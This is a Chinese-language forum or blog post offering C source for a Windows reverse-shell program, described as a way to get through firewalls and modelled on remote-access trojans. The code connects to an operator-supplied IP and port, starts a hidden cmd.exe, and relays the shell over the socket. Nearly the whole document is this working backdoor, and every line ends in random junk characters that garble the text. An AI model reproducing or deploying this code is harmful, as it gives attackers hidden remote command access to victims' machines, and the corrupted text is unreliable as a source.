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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mp'Z.4  
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/* ============================== B|f =hlY  
Rebound port in Windows NT mBwM=LAZ  
By wind,2006/7 _YK66cS3E/  
===============================*/ ~vbyX  
#include 9 HiH6f^5  
#include 3BZa}Q_  
7 I$~E  
#pragma comment(lib,"wsock32.lib") '!hA!eo>J  
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void OutputShell(); "^froQ{"T  
SOCKET sClient; Y:?cWO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }O + a  
2iWS k6%R  
void main(int argc,char **argv) 74wDf  
{ cj64.C  
WSADATA stWsaData; %#jW  
int nRet; x]Pp|rHj  
SOCKADDR_IN stSaiClient,stSaiServer; > eC>sTPQ{  
\PzJ66DL!  
if(argc != 3) *HONA>u   
{ UR|Au'iu  
printf("Useage:\n\rRebound DestIP DestPort\n"); {}n]\zO %  
return; 3>'TYXs-  
} W?:e4:Q  
/&i6vWMhP  
WSAStartup(MAKEWORD(2,2),&stWsaData); =#Z+WD-E  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j&N {j_ M  
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stSaiClient.sin_family = AF_INET; )ep1`n-  
stSaiClient.sin_port = htons(0); ymW? <\AD,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u*S-Pji,x  
/'l"Us},^!  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T Ob(  
{ sd5)We  
printf("Bind Socket Failed!\n"); +^cjdH*  
return; j[RY  
} b{Bef*`/  
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stSaiServer.sin_family = AF_INET; 7PW7&]-WQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Pr_DMu  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .Cu0G1  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d6XdN  
{ j0~ dJ#  
printf("Connect Error!"); )tv~N7  
return; =.]{OT  
} |Kq<}R  
OutputShell(); RgD%pNhI  
} iOB*K)U1  
$Xr4=9(|7  
void OutputShell() ;r BbLM`  
{ FmhT^  
char szBuff[1024]; 4g)$(5jI}  
SECURITY_ATTRIBUTES stSecurityAttributes; !DkIM}.  
OSVERSIONINFO stOsversionInfo; }a"koL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4d8}g25C  
STARTUPINFO stStartupInfo; +&4@HHU{G  
char *szShell; &U_T1-UR2  
PROCESS_INFORMATION stProcessInformation; mM2DZ^"j(  
unsigned long lBytesRead; EEP&Y?  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jpkKdQX)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GQ0(lS  
stSecurityAttributes.lpSecurityDescriptor = 0; f%/6kz  
stSecurityAttributes.bInheritHandle = TRUE; @;X#/dZe  
E^B3MyS^^  
\HL66%b[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RN2z/F Uf  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fu>;hx]s  
G2dPm}sZG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nH}V:C  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IqFmJs|C  
stStartupInfo.wShowWindow = SW_HIDE; i 2 ='>  
stStartupInfo.hStdInput = hReadPipe; p+;;01Z+_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6~O;t'd  
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GetVersionEx(&stOsversionInfo); -HvJ&O.V$  
o]B2^Yq;x  
switch(stOsversionInfo.dwPlatformId) DFQ`<r&!  
{ &-L9ws  
case 1: ao"Z%#Jb~  
szShell = "command.com"; pQoZDD@B$  
break; RREl($$p  
default: zbJ}@V  
szShell = "cmd.exe"; ]Na;b  
break; cv_t2m  
} : cPV08i  
fS3%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); XCT3:db  
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send(sClient,szMsg,77,0); m A('MS2  
while(1) blUS6"kV}  
{ 8:U0M'}u>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); epI~w  
if(lBytesRead) ddY-F }z~  
{ t!59upbN}3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .Ms$)1  
send(sClient,szBuff,lBytesRead,0); R@KWiV  
} w{riXOjS4  
else k- exqM2x=  
{ t$PJ*F67M  
lBytesRead=recv(sClient,szBuff,1024,0); (ZP e{;L.  
if(lBytesRead<=0) break; 1U(!%},  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p.5 *`, )  
} @9lGU#  
} *, R ~[g  
]YY4{E(9d  
return; r-Oz k$  
}
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